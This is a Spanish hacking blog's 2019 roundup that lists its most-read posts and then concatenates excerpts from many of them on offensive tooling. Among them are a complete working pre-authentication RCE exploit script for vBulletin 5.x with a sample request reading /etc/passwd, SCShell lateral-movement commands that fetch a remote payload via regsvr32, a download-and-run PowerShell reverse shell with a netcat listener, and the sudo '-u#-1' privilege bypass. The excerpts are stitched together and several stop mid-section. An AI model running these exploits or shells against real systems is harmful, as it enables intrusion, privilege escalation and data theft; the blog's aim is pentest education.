Lo más visto del 2019 en Hackplayers

En esta época de arraigada tradición no quería dejar escapar las últimas horas de este año 2019 sin publicar el top 50 de entradas más vistas en el blog, excusa como siempre para hacer un brevísimo balance y desearos a todos un feliz y próspero 2020.

Creo que este año ha sido un buen año para la Comunidad, empezando por el reconocimiento en MundoHacker como impulsores de talento, el vuestro, el de todos los que estáis leyendo y que de alguna manera habéis participado contribuyendo y debatiendo todo lo relacionado con la temática que nos apasiona: el hacking y la in-seguridad informática. A todos vosotros un guiño de complicidad y muchas gracias por estar siempre ahí.

Pero no puedo despedirme de este año sin hacer también mención especial como siempre a la familia (a mis niñas) y a los que habéis estado más cerca, a los compis del curro con los que he trabajado codo con codo y viajado a otras conferencias y jugado en algún CTF que otro. También a los de los grupos de Telegram, sobretodo a los de mi equipo de gigantes de L1k0rd3b3ll0t4 y a los organizadores y resto de staff de h-c0n que en esta nueva edición la estamos preparando buena... Así que a los que estéis el 31 de enero y 1 de febrero en Madrid espero veros allí y, a los que no podáis, pues seguir escribiéndonos y viéndonos virtual o físicamente, compartiendo experiencias, anécdotas y más de una cerveza, que es de lo que se trata... ;)

¡Gracias y a por el 2020!

1 El abc para desproteger un Excel con contraseña
2 Listado de códigos secretos de Android
3 Grupos de Telegram sobre hacking y seguridad informática en español
4 8 servicios proxy gratuitos para evitar restricciones y mantener el anonimato y la privacidad : hackplayers
5 Ya llega BlueKeep... aka ejecución remota de código en RDP
6 Taller para escalar privilegios en Windows/Linux
7 hackplayers: Blogroll en español
8 iDict, una herramienta de fuerza bruta para obtener contraseñas de usuarios de iCloud
9 100 grupos de hackers famosos
10 Cómo clonar la tarjeta SD de la Raspberry Pi

Aprovechando el Directorio Activo como C2 (Command & Control)

En un directorio activo, por defecto, todos los usuarios autenticados tienen acceso de escritura a algunos de sus propios atributos y acceso de lectura a los atributos de otros usuarios. Por increíble que parezca, se puede abusar de los atributos de usuario con acceso de lectura/escritura para almacenar payloads y convertir así al directorio activo en un auténtico C2.

La idea no es nueva, de hecho ya la expuso harmj0y en su blog en 2016, que además creó un script en powershell para usar la propiedad 'msmqsigncertificates' para escribir el payload en el atributo del usuario. La ventaja de usar 'msmqsigncertificates' es que tiene un tamaño máximo de 1 MB y también tiene el PAS (Partial Attribute Set), es decir, los payloads almacenados en 'msmqsigncertificates' se propagarán a todas las copias del catálogo global en el bosque.

Entonces básicamente el procedimiento será el siguiente: un usuario cambia su propiedad mientras que otro usuario consulta continuamente la información que se puede leer por todos y luego informa los resultados a sus propios "certificados de msmqsignce". Es decir, tenemos un canal de datos bidireccional de 1 MB.


En el escenario propuesto por akijos, Aki (el atacante) creará un payload utilizando el cmdlet 'New-ADPayload'. El payload se comprimirá utilizando la compresión .NET [IO.Compression.DeflateStream] y luego los datos en Base64 se almacenarán en el atributo 'msmqsigncertificates'. Esto también creará como resultado un script en Powershell que debe ejecutarse en la máquina Victim (Tom Hanks).

Writeup CTF clasificatorio HTB x UNI

El pasado 20 de noviembre tuvo lugar el HTB x UNI CTF, el primer CTF de HackTheBox orientado exclusivamente a equipos de distintas universidades de todo el mundo. En este caso, el CTF era una competición clasificatoria de la cual saldrían clasificados para la final los 15 equipos universitarios con mejor puntuación. El CTF tenía una duración de 24 horas y constaba de 18 retos de categorías como reversing, exploiting, hacking web, blockchain, criptografía, hardware, forense y miscelanea.

Personalmente, tuve el placer de participar junto a algunos compañeros de mi universidad y lograr clasificar para la final del HTB x UNI CTF con un cuarto puesto.


Uno de los requisitos para poder clasificarse a la final, en el caso de encontrarse entre los 15 mejores equipos, era elaborar un write-up (solucionario) de los retos realizados por el equipo. Tras la publicación de los equipos ganadores y el visto bueno por parte de la organización de publicar las soluciones de los retos, aquí dejo las soluciones de los retos del CTF realizados por mi equipo "RWX", junto a las explicaciones y el proceso que hemos llevado a cabo para solventarlos.

¡Feliz navidad!

Reto 31: hc0n Christmas CTF

Llega la Navidad y con ella César Calderón aka @_Stuxnet y Ayushman Dubey aka
@D4mianWayne nos traen un reto para entretenernos. Se trata de un CTF 'boot2root': una máquina que tendréis que pwnear para obtener acceso primero como usuario local "normalucho" y luego como root escalando privilegios.

Esta vez la máquina estará disponible online en la plataforma TryHackMe, una nueva plataforma para enseñar y aprender hacking que permite crear 'salas virtuales' y otras opciones que la hacen muy interesante.

Para ingresar en la habitación o sala de la máquina de este reto concreto, debéis primero estar registrados en el sitio y haber descargado el archivo vpn correspondiente que se encuentra la parte de "access".

Después, en el menú tendréis la opción de "My Rooms", y cuando entréis en la parte inferior veréis un textbox donde podréis ingresar un código para poder entrar en una habitación, en este caso para nuestro CTF es 'hc0nchristmasctf'.


Una vez dentro de la sala tendréis que pulsar el botón "deploy" y tendréis la máquina levantada durante una hora. Pasado ese tiempo podréis levantar la máquina otra vez, sólo cambia la IP.

Los tres primeros en conseguir rootear la máquina e introducir las flags correspondientes en la room de la máquina conseguirán entrar en nuestro eterno hall de la fama y además obtendrán un ticket para nuestro congreso h-c0n que tendrá lugar los próximos 31 de enero y 1 de febrero en Madrid y una taza de obsequio siempre que puedan recogerla presencialmente durante el evento.

pd. veréis que está KaoRz arriba en el scoreboard, pero su posición no cuenta ya que se encargó de probar la máquina previamente y no pudo resistir el "ansia viva" de meter las flags.. xD

Así que suerte y... ¡a empezar la navidad jugando (y quién sabe, ganando)!

Detectando técnicas y tácticas ATT&CK en Linux

El australiano Krishna aka Kirtar22 ha creado un interesante proyecto en Github para asentar una buena base de conocimiento que ayude a crear/mejorar las capacidades de detección de amenazas en Linux. Los vectores de ataque están alineados con el framework ATT&CK de MITRE.
 

Lo que hizo fue usar la mayoría de los casos de prueba de ataque de Atomic Red Team y luego analizó cómo detectarlos y qué fuentes de logs serían necesarias para capturar estos ataques. Aunque es un proyecto que no ha recibido actualizaciones desde hace meses si que tiene una buena cantidad de casos de uso que todo threat hunter debe tener en cuenta ;):

defense evasion

MalwinX: un framework para aprender Malware y funciones de win32

Cuando se realiza ingeniería inversa del malware en Windows, normalmente y sobretodo al principio, se suele realizar una búsqueda individual explícita de cada función y su uso. MalwinX de Mohit Dabas es una pequeña utilidad en forma de aplicación web en Flask que nos permitirá comprender mejor el api de win32. Simplemente subiremos el binario correspondiente y podremos consultar rápidamente fragmentos de código y referencias de cada librería que carga.

Pre-requisitos

pip install flask
pip install pefile
pip install requests

Uso

$ git clone https://github.com/MohitDabas/malwinx.git
$ cd malwinx
$ python flaskapp.py

http://localhost/


Demo


Repo

https://github.com/MohitDabas/malwinx

Lista de payloads para inyecciones XXE (XML External Entity)

A estas alturas ya todos sabéis que XML external entity injection (también conocido como XXE) es una vulnerabilidad web que permite que un atacante interfiera en el procesamiento de datos XML de una aplicación. Puede permitir ver archivos del sistema o del servidor de aplicaciones e interactuar con cualquier sistema externo al que pueda acceder la propia aplicación. En algunas situaciones, podemos usar un ataque XXE para comprometer el servidor subyacente u otra infraestructura de back-end, al aprovecharlo para realizar ataques SSRF (server-side request forgery).

Hay varios tipos de ataques XXE:
  • Explotar XXE para recuperar archivos: Cuando se define una entidad externa que contiene el contenido de un archivo y se devuelve en la respuesta de la aplicación.
  • Explotar XXE para realizar ataques SSRF: donde se define una entidad externa basada en una URL o un sistema de backend.
  • Explotar Blind XXE para exfiltrar datos Out-of-Band: Cuando datos sensibles se transmiten desde el servidor de aplicaciones a un sistema que controla el atacante.
  • Explotación de XXE ciego para recuperar datos mediante mensajes de error: donde el atacante puede usar un mensaje de error para obtener datos confidenciales.
Payloads:

XXE: Ejemplo básico XML
<!--?xml version="1.0" ?-->
<userInfo>
 <firstName>John</firstName>
 <lastName>Doe</lastName>
</userInfo>

Syndicate Project: ¿Me compartes tu Botnet? - Parte #1

Fuente: onodo.org/visualizations/98748/
Syndicate es un Framework totalmente escrito en Python (3) para crear Botnets, y no es sólo para crear una botnet es para crear cientos o miles...

Plataformas:
  • De momento sólo se ha probado en Kali linux, pero se puede experimentar en otras plataformas.
  • Se recomienda si se va a probar Syndicate en Windows, usar Cygwin o WSL, aunque nos garantiza nada.
  • En Android técnicamente debería funcionar con Userland, aunque Tmux no es mala elección.
Instalación:

Primero clonamos el repositorio:
git clone https://github.com/DtxdF/Syndicate
cd Syndicate

Y luego instalamos los requisitos:

Se puede optar por una instalación fácil con PIP, pero hay algunos inconvenientes que dependen de uno mismo.

En primer lugar, lo que si es necesario ejecutar es requirements/requirements.txt:
python3 -m pip install -r requirements/requirements.txt

En el archivo podemos encontrar:
PySocks==1.7.1
pycryptodome==3.9.4
PyYAML==5.1.2
pager==3.3
requests==2.22.0
urllib3==1.25.7
certifi==2019.9.11
chardet==3.0.4
idna==2.8
pyperclip==1.7.0

Estos son los requisitos para que funcione lo principal de Syndicate, mientras que para los complementos se tendrían que seguir los siguientes pasos, no obstante no es necesario instalar para las funcionalidades anteriormente mencionadas, esto sirve para aumentar las funcionalidades...
python3 -m pip install -r requirements/requirements.complements.txt

Buscando vulnerabilidades en PHP con (un simple) grep

Ya sabemos que usar grep para encontrar vulnerabilidades en el código PHP de una aplicación web puede parecer tosco pero a veces es sumamente efectivo. Digamos que probablemente es la forma más rápida de encontrar patrones de vulnerabilidades conocidas. Por ejemplo, se puede usar grep para buscar llamadas a la función system:

$ grep -R 'system \ (\ $ _' *

Si bien este enfoque tiene muchas limitaciones:

- No se obtiene mucha cobertura/garantía sobre la calidad (y, por lo tanto, la seguridad) del código fuente. Solo se sabe que, según una lista de patrones, no se pudo encontrar ningún problema.
- Se debe conocer todas las funciones/patrones peligrosos.
- Terminas usando expresiones regulares muy complejas.

Sin embargo y como decimos, esto funciona bastante bien para las revisiones donde no tenemos suficiente tiempo. Así que si este es tu caso, en este post recopilamos un pequeño cheatsheet para probar a mano:

CHEATSHEET - ANÁLISIS MANUAL

XSS:

grep -Ri "echo" .
grep -Ri "\$_" . | grep "echo"
grep -Ri "\$_GET" . | grep "echo"
grep -Ri "\$_POST" . | grep "echo"
grep -Ri "\$_REQUEST" . | grep "echo"

Command execution:

grep -Ri "shell_exec(" .
grep -Ri "system(" .
grep -Ri "exec(" .
grep -Ri "popen(" .
grep -Ri "passthru(" .
grep -Ri "proc_open(" .
grep -Ri "pcntl_exec(" .

Code execution:

grep -Ri "eval(" .
grep -Ri "assert(" .
grep -Ri "preg_replace" . | grep "/e"
grep -Ri "create_function(" .

SQL Injection:

grep -Ri "\$sql" .
grep -Ri "\$sql" . | grep "\$_"

Taller para escalar privilegios en Windows/Linux

Sagi Shahar es un ingeniero de Google que desde hace algunos años lleva impartiendo un taller para escalado de privilegios de forma gratuita en varios eventos públicos y privados en Australia:
  •      Sydney - PlatypusCon (2017)
  •      Perth - BsidesPerth (2017)
  •      Brisbane - CrikeyCon (2018)

El taller se basa en el árbol de ataque o mindmap que se muestra a continuación, que cubre todos los vectores de ataque conocidos (en ese momento) de escalada de privilegios de usuario local en los sistemas operativos Linux y Windows:




Y lo bueno y por lo que os escribimos esta entrada, es porque además Sagi ha creado un repo en Github con todo el material necesario para que podamos montarlo y seguirlo en nuestras propias casas:

https://github.com/sagishahar/lpeworkshop

SCShell: movimientos laterales a través del service manager

El gran Mr.Un1k0d3r de RingZer0 Team ha creado una herramienta que nos ayudará a movernos lateralmente usando el service manager sin registrar o crear ningún servicio ni escribir en disco.

La magia se basa en ChangeServiceConfigA, una función que usa los servicios de configuración de programa de Windows para cambiar los parámetros de los servicios instalados. En lugar de crear un servicio, simplemente abre uno de forma remota y modifica el nombre de la ruta del binario a través de la API ChangeServiceConfigA. Luego inicia el servicio y, una vez se ha completado la ejecución, se vuelve a poner la ruta original del binario. (La ruta original del servicio es extraída usando QueryServiceConfigA).

Lo bueno también es que la autenticación no se realiza contra SMB, todo se realiza a través de DCERPC.


Actualmente la herramienta está hecha en C, aunque planean migrarla a C# y Powershell.

Uso:

SCShell.exe target service payload username domain password

En target podemos poner local si queremos ejecutar el payload de forma local. Por otro lado, un ejemplo de ejecución remota sería:

SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll" administrator . Password

Se recomienda usar C:\windows\system32\cmd.exe /c para asegurarse de que el payload no se eliminará una vez que se detenga el servicio. Eso sí, necesitaremos usar la ruta completa.

También podemos usar un payload de msbuild:
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /C C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\payload.csproj" administrator . Password
SCShell ***
Trying to connect to 192.168.197.131
Username was provided attempting to call LogonUserA
SC_HANDLE Manager 0x009ED250
Opening XblAuthManager
SC_HANDLE Service 0x009ED1B0
Service path was changed to C:\windows\system32\cmd.exe /C C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\payload.csproj
Service was started.

El proyecto lo tenéis en https://github.com/Mr-Un1k0d3r/SCShell, donde encontraréis el ejecutable y el código fuente para compilarlo vosotros mismos con GCC Mingw.

Una (u otra) breve introducción al DLL hijacking

Una técnica muy común durante la post-explotación, tanto como para escalado de privilegios como para persistencia, es el DLL hijacking, que no es más que "dar el cambiazo" de una DLL que una aplicación o servicio del sistema intenta cargar en un directorio en el que tenemos permisos de escritura. De esta manera pondremos nuestra DLL maliciosa para que, en el momento que intente cargarse, ejecute nuestro payload con los permisos correspondientes al servicio o aplicación.

Recordemos que la forma en que Windows carga las DLL es buscar en los siguientes directorios en este orden:

- El directorio desde el cual se cargó la aplicación
- C:\Windows\System32
- C:\Windows\System
- C:\Windows
- El directorio de trabajo actual
- Directorios en la variable de entorno PATH del sistema
- Directorios en la variable de entorno PATH del usuario

Como podéis imaginar, si en algún momento un programa llama a una DLL que ya no existe en el primer directorio intentará buscar en el siguiente y así sucesivamente en ese orden: de esa manera podremos secuestrar la carga plantando una DLL en alguno de esos directorios para que pueda encontrarla.

Podremos identificar programas potencialmente vulnerables a DLL hijacking con Autoruns y ProcMon de Sysinternals, básicamente con este último buscando cualquier operación QueryOpen que resulte en NAME_NOT_FOUND:

También os recomiendo echar un vistazo a la herramienta Robber que hace un tiempo ya vimos en el blog.

ReconPi: convierte tu Raspberry Pi en una herramienta de reconocimiento de dominios

ReconPi es una herramienta de reconocimiento bastante liviana que realiza un extenso escaneo de dominios con las últimas herramientas utilizando una Raspberry Pi, Golang y Docker.

Después de que se haya ejecutado el script install.sh, ReconPi solo requiere una conexión a Internet y ya podremos empezar a utilizarla.

Requisitos
  •     Raspberry Pi 3+ + cables (alimentación y  Ethernet)
  •     SD card, 8 GB mínimo (16 GB recomendados)
  •     Imagen Hypriot (versión 1.10.0)
  •     Etcher
  •     Teclado + monitor (opcional)
Instalación

Conectar a la Raspberry Pi:

ssh pirate@black-pearl.local

Obtener install.sh y ejecutarlo:

curl -L https://raw.githubusercontent.com/x1mdev/ReconPi/master/install.sh | bash

Password: hypriot

Uso

Después de instalar todas las dependencias para ReconPi, ¡finalmente podemos comenzar a hacer algún escaneo!

$ recon <dominio.tld>


recon.sh primero recopilará todas las resoluciones para el objetivo dado, seguido de la enumeración de subdominios y verificará esos activos para una posible adquisición de subdominios. Cuando se hace esto, se enumeran las direcciones IP del destino. Los puertos abiertos se descubrirán acompañados de un escaneo de servicio proporcionado por Nmap.

Finalmente, los objetivos online serán capturados y evaluados para descubrir endpoints.

Los resultados se almacenarán en el Recon Pi y se pueden ver ejecutando 'python -m SimpleHTTPServer 1337' en el directorio de resultados. Los resultados serán accesibles desde cualquier sistema con un navegador que exista en la misma red.

Herramientas

Herramientas que se están utilizando en este momento:
Proyecto

El proyecto está disponible en https://github.com/x1mdev/ReconPi

Descubren en un CTF un RCE en Nginx + PHP-FPM

Del 14 al 16 de septiembre se jugaba el Real World CTF y, durante el mismo, Andrew Danau se dió cuenta de un comportamiento extraño con un script en PHP. En uno de los retos hCorem, cuando enviaba %0a (newline o nueva línea) en la URL el servidor devolvía más datos de la cuenta. Normalmente ese tipo de respuesta está relacionado con ataques de corrupción de memoria. Sin embargo y aunque Andrew y sus compañeros no consiguieron resolver el reto, siguieron investigado y se dieron cuenta que es posible conseguir ejecución remota de código con una configuración específica de Nginx y php con fpm (FastCGI Process Manager).

Concretamente es posible gracias a la directiva fastcgi_split_path y algunos regex de nuevas líneas. Debido al carácter %0a, Nginx establece un valor vacío para esta variable, y fastcgi + PHP simplemente no lo espera. El fichero de configuración sería como este:
location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass   php:9000;
  ...
}

- location ~ [^/]\.php(/|$) debe enviarse a php-fpm.
- La directiva fastcgi_split_path_info debe estar y contener una expresión regular que comience con ^ y termine con $, para que se pueda dividir con un carácter de nueva línea.
- Debe haber una asignación de variable PATH_INFO a través de la declaración fastcgi_param PATH_INFO $fastcgi_path_info;.
- No se debe comprobar la existencia de archivos como try_files $uri =404 o if (-f $uri). Si Nginx descarta solicitudes a scripts no existentes antes del reenvío FastCGI, la solicitudes nunca llegan a php-fpm.

Evil-WinRM: shell que usa WinRM para hacking/pentesting

Uno de los proyectos más interesantes que tenemos en el Github de Hackplayers es el de Evil-WinRM, que Luis, Oscar y Jari acaban de actualizar con una nueva release que implementa pass-the-hash.


Si alguno no conocía la herramienta, decir que Evil-WinRM es una shell que usa WinRM con características muy interesantes para ayudarnos en la post-explotación:
  • Historial de comandos      
  • Autocompletado de comandos y ficheros locales
  • Subida y descarga de archivos
  • Listar servicios de máquinas remotas
  • Cargar scripts de Powershell
  • Cargar en memoria dlls evadiendo algunos AV
  • Cargar en memoria C# compilados/exe's evadiendo algunos AV
  • Cargar payloads x64 generados con la técnica de donut
  • Mensajes de salida en color (se puede deshabilitar opcionalmente)
  • SSL y soporte de certificados
  • Soporte para pass-the-hash

VBA Stomping: técnicas avanzadas de maldoc

Hoy vamos a ver una técnica llamada VBA stomping para generar documentos maliciosos (maldoc) original de Vesselin Bontchev. Básicamente consiste en quitar o modificar el código fuente de un documento de Microsoft Office dejando sólo una versión compilada de las macros llamada p-code. De esta manera, un atacante podrá bypassear la detección de maldocs basada en el análisis del código fuente.

Primero, demostraremos la técnica con una macro simple y no maliciosa. Por ejemplo, con una simple macro que mostrará el texto "ABC" cuando se abre el documento:


A continuación lo que intentaremos es modificar ese código fuente sin cambiar el p-code. En Office 2007 o superior el código fuente de VBA y el p-code generalmente se encuentran en un archivo llamado vbaProject.bin. Para modificar este archivo manualmente, primero debemos descomprimir el archivo comprimido .docm/.xlsm y luego abrir el archivo vbaProject.bin en un editor hexadecimal. En este ejemplo, cambiaremos "ABC" por "XYZ", pero solo dentro de la ubicación donde está el código fuente VBA, no en la sección del p-code.



Ahora que hemos editado manualmente el código fuente VBA para cambiar "ABC" por "XYZ", abriremos el documento e inspeccionaremos el código fuente VBA ANTES de hacer clic en el botón "Habilitar contenido".


El documento se ha abierto pero las macros no están habilitadas. En el editor de código veremos que se debería mostrar un cuadro de mensaje con el texto "XYZ"... pero este no será el caso. De hecho, tan pronto como se habilite el contenido se mostrará un cuadro de mensaje con "ABC" y el código fuente en el editor de código se actualizará para que coincida.


Bastante engañoso, verdad?

Bypass de sudoers con user ID -1 o 4294967295

Joe Vennix de Apple Information Security ha publicado la vulnerabilidad CVE-2019-14287 que afecta a todas las versiones de sudo anteriores a la 1.8.28 y que permite a un usuario ejecutar comandos como root, simplemente especificando el usuario -1 o 4294967295...

Así leído al principio aco.. impresiona, pero sin embargo la configuración por defecto de sudoers NO ES VULNERABLE, es más, solo lo es si se ha configurado Sudo de una manera bastante imaginativa, permitiendo a los usuarios ejecutar comandos como cualquier usuario excepto root.

La mejor manera de describir el escenario es usar un ejemplo. Supongamos que se ha configurado en el sudoer que el usuario 'pepito' pueda ejecutar el editor de texto Vi como cualquier usuario, excepto root. Es raro ya lo sé, pero imagina que queremos que 'pepito' supervise los archivos y actividades de otros usuarios, pero sin darle acceso de superusuario:

servidor pepito = (ALL, !root) /usr/bin/vi

Eso debería permitir que 'pepito' ejecute Vi como cualquiera que no sea root. Sin embargo, si 'pepito' ejecuta este comando:

sudo -u#-1 vi

o este otro:

sudo -u#4294967295 vi

pepito podrá cambiar cualquier archivo del sistema como root...ups!

Esto ocurre porque la función que convierte el id al username trata el -1 de manera incorrecta, como 0, es decir el id de root. Además, y para más diversión, el ID de usuario 4294967295 omitirá las restricciones también porque, como un entero de 32 bits con signo, es igual a -1.

¿Solución? Actualizar Sudo a la versión 1.8.28 o posterior :-P

#AZULONES: regla Sigma para detectar intentos de explotar esta vulnerabilidad:

https://github.com/Neo23x0/sigma/blob/master/rules/linux/lnx_sudo_cve_2019_14287.yml

Fuente: https://www.sudo.ws/alerts/minus_1_uid.html

C2 implementado sobre... blockchain!

Hoy vamos a hablar de blockchain, esa palabra tan de moda y que esta vez veremos aplicada a... nada más y nada menos... una infraestructura de command and control o C2.
Y es que Sarthak Saini aka geek-repo ha hecho un serie muy interesante en la que explica como ha implementado esa infraestructura C2 sobre Ethereum Smart Contracts basado en Ropsten TestNet Server.

Muy, muy resumido, para los que les suene "muy a chino": los smart contracts o contratos inteligentes en Ethereum son básicamente como un protocolo que maneja las transacciones o transferencias y Ropsten es un servidor de prueba público para la plataforma Ethereum donde los desarrolladores construyen sus Dapps y los prueban, y también los usuarios pueden generar una cartera ETH y obtener 1 ETH en ese sitio.

Sarthak ha publicado además la PoC con el código en python y los bytecodes generados a partir de scripts en lenguaje Solidity que se ejecutarán en la evm (máquina virtual Ethereum) de los nodos de la red blockchain. El resultado es un virus (cliente) y un handler que se comunican a través de blockchain y, aunque algo lento, se ejecutan comandos en una shell interactiva:
 

Así que los desarrolladores de malware tienen ya otro covert channel para llegar a sus C2...

Proyecto: https://github.com/geek-repo/C2-Blockchain

The Cyberthreat Handbook : libro gratuito con 60 grupos y 490 campañas analizados

Hoy en día, para cualquier analista de ciberinteligencia y threat hunter, es indispensable tener identificados y perfilados el máximo número posible de threat actors. Recientemente Thales y Verint ha publicado un handbook muy completo que contiene descripciones detalladas de  las actividades de unos sesenta grupos particularmente significativos. En él se analizan sus tácticas y técnicas (TTPs mapeadas con el framework ATT&CK de MITRE) , sus motivos y los sectores seleccionados a partir del análisis de múltiples fuentes de inteligencia.

Los analistas del informe han definido cuatro categorías principales de atacantes en función de sus motivos y objetivos finales. De aproximadamente sesenta grupos de atacantes analizados, el 49% son grupos patrocinados por estados, a menudo con el objetivo de robar datos sensibles de objetivos de interés geopolítico. El 26% son hacktivistas motivados ideológicamente, seguidos de cerca por los cibercriminales (20%) que están impulsados por ganancias financieras. En cuarto lugar, ciberterroristas representan el 5% de los grupos analizados.

Todos los poderes económicos, políticos y militares principales del mundo son los objetivos prioritarios de los ciberatacantes. Los 12 países del mundo con el PIB más alto se encuentran en la parte superior de la lista de objetivos, encabezados por Estados Unidos, Rusia, la Unión Europea (particularmente el Reino Unido, Francia y Alemania) y China, seguidos por India, Corea del Sur y Japón.

Los sectores más afectados por estos ataques principales son los estados y sus capacidades de defensa, seguidos por el sector financiero, la energía y el transporte. Los ataques a medios de comunicación y el sector de la salud están aumentando rápidamente.

Publican 0-day de vBulletin que permite la ejecución remota de código y sin autenticación

Hace tan sólo unas horas un usuario anónimo publicaba en Full Disclosure un 0-day que permite la ejecución remota de código (RCE) en vBulletin y que afecta desde la versión 5.0.0 hasta la última 5.5.4.
Y lo más reseñable es explotable de forma remota y ¡NO requiere autenticación!

La vulnerabilidad reside en la forma en la que un widget interno acepta configuraciones a través de parámetros en la URL y luego las analiza en el servidor sin las comprobaciones de seguridad adecuadas, lo que permite a cualquier atacante inyectar comandos y ejecutar código de forma remota en el sistema.

Fijaros en el siguiente script en python:
#!/usr/bin/python
#
# vBulletin 5.x 0day pre-auth RCE exploit
# 
# This should work on all versions from 5.0.0 till 5.5.4
#
# Google Dorks:
# - site:*.vbulletin.net
# - "Powered by vBulletin Version 5.5.4"

import requests
import sys

if len(sys.argv) != 2:
    sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])

params = {"routestring":"ajax/render/widget_php"}

while True:
     try:
          cmd = raw_input("vBulletin$ ")
          params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"
          r = requests.post(url = sys.argv[1], data = params)
          if r.status_code == 200:
               print r.text
          else:
               sys.exit("Exploit failed! :(")
     except KeyboardInterrupt:
          sys.exit("\nClosing shell...")
     except Exception, e:
          sys.exit(str(e))

Parece increíble, pero si lanzamos este sencillo script podremos ejecutar cualquier comando en el sistema vulnerable:
$ python vbulletin0-day-1909.py https://url/
vBulletin$ whoami
www-data

vBulletin$

Así de simple, una petición POST y a correr:
POST / HTTP/1.1
Host: sitiovulnerable.inet
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
Content-Length: 102
Content-Type: application/x-www-form-urlencoded

routestring=ajax/render/widget_php&widgetConfig[code]=echo shell_exec('cat /etc/passwd'); exit;


Recordemos que vBulletin es uno de los softwares de foros de Internet más utilizados, quizás el más popular... así que imaginaros la cantidad de sitios y usuarios que pueden verse afectados, sin posibilidad de parche todavía, si acaso con la única protección de un WAF...

 

 <vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']">  
       {vb:action evaledPHP, bbcode, evalCode, {vb:raw widgetConfig.code}}  
       {vb:raw $evaledPHP}  
     <vb:else />  
       <vb:if condition="$user['can_use_sitebuilder']">  
         <span class="note">{vb:phrase click_edit_to_config_module}</span>  
       </vb:if>  
     </vb:if>  

En el código anterior se puede observar el if donde se comprueban las condiciones para renderizar. Como comentaba dj.thd (Bass Soldier) en nuestro grupo de Telegram, la mitigación más rápida sería eliminar directamente de la bbdd "widget_php" y poner a true "disable_php_rendering" si no se necesita.

Shhmon: silenciando Sysmon descargando su driver

Como ya sabéis, Sysmon es una herramienta que tiene la capacidad de detectar muchos indicadores que genera un atacante como la creación de procesos, cambios en el registro, creación de archivos, entre muchas otras cosas.

Sysmon se compone de 2 piezas principales: un servicio del sistema y un driver. El driver proporciona al servicio información que el usuario procesa para su consumo. Tanto el servicio como los nombres del driver se pueden cambiar para ocultar que se está ejecutando Sysmon en el host.

Pues bien, para evadir la detección de Sysmon Matt Hand aka matterpreter ha publicado Shhmon, una herramienta escrita en C# que propone la descarga del driver de Sysmon por el usuario sin fltMC.exe mientras que el servicio continúa ejecutándose.


A pesar de que Sysmon puede cambiar el nombre del driver durante la instalación (Sysmon.exe -i -d $DriverName), por defecto se carga siempre con una altitud predefinida de 385201.

ConPtyShell: una shell inversa totalmente interactiva para Windows

ConPtyShell de LupMan es una shell inversa totalmente interactiva para sistemas Windows.

La introducción de la Pseudo Consola (ConPty) en Windows ha mejorado mucho la forma en que el sistema operativo de Redmond maneja los terminales. ConPtyShell utiliza esta función para transformar literalmente bash en un "PowerShell remoto".

A grandes rasgos, esta herramienta crea una Pseudo Consola y conecta 2 pipes. Después crea el proceso de shell (por defecto powershell.exe) adjuntando la pseudo consola con una entrada/salida redirigida. Y luego comienza 2 subprocesos para E/S asíncrona:

- un hilo para leer desde el socket y escribir en el pipe de entrada de la Pseudo consola;
- el segundo hilo para leer desde la pipe de salida de la Pseudo consola y escribir en el socket.

ConPtyShell es una shell inversa pero no un método para hacer un upgrade a una consola completamente interactiva.

NOTA: ConPtyShell usa la función CreatePseudoConsole(). Esta función está disponible desde Windows 10/Windows Server 2019 versión 1809.

Requisitos

Lado del cliente: versión de Windows >= 10/2019 1809

Lado del servidor: cualquier listener tcp, típicamente netcat

Uso

Es importante tener el mismo tamaño de filas y columnas en el terminal local y en el remoto si queremos tener una salida alineada.

Método 1

En este método, el tamaño del terminal se establece sin pasar los parámetros de filas y cols a la función Invoke-ConPtyShell:

Lado del servidor
stty raw -echo; (stty size; cat) | nc -lvnp 3001

Lado del cliente
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1); Invoke-ConPtyShell 10.0.0.2 3001

O, si subimos el ps1:
IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell 10.0.0.2 3001

Donut: generador de shellcodes capaces de cargar assembly .NET en memoria (2 de 2)

En el post anterior de esta serie vimos el funcionamiento de los donuts. Ahora, en esta segunda entrada, vamos a ver qué podemos hacer con esta herramienta, es decir, nos centraremos en casos prácticos.

Primero cargaremos un stager de unos de los c2c de moda, Covenant, luego cargaremos un desarrollo propio de HackPlayers como es Salsa-Tools y por último veremos como cargar payloads de Metasploit sin que salte el antivirus.

Bien, en primer lugar, veamos cómo se instala Covenant.

wget -qO- https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.asc.gpg
sudo mv microsoft.asc.gpg /etc/apt/trusted.gpg.d/
wget -q https://packages.microsoft.com/config/debian/9/prod.list
sudo mv prod.list /etc/apt/sources.list.d/microsoft-prod.list
sudo chown root:root /etc/apt/trusted.gpg.d/microsoft.asc.gpg
sudo chown root:root /etc/apt/sources.list.d/microsoft-prod.list
sudo apt-get install apt-transport-https
sudo apt-get update
sudo apt-get install dotnet-sdk-2.2
git clone --recurse-submodules https://github.com/cobbr/Covenant
cd Covenant/Covenant
dotnet build
dotnet run


Con este pequeño script, podemos realizar la instalación. Le damos permisos de ejecución :

    • “chmod +x installl-covenant.sh”



Esperamos a que se realice la instalación de Covenant y, una vez finalice, nos levantará un servidor web. Ese servidor web lo usaremos para controlar los equipos que tengamos backdoorizados.


Técnicas para transferir archivos durante una post-explotación

Normalmente en cualquier ejercicio de red team cuando se consigue acceso a un sistema tendremos que ingeniárnoslas para subir distintos archivos, continuando así con el proceso de post-explotación.

Recientemente he visto un paper muy completo en Seebug del chino xax007 con un montón de técnicas que siempre conviene tener a mano:

Crear un servidor HTTP

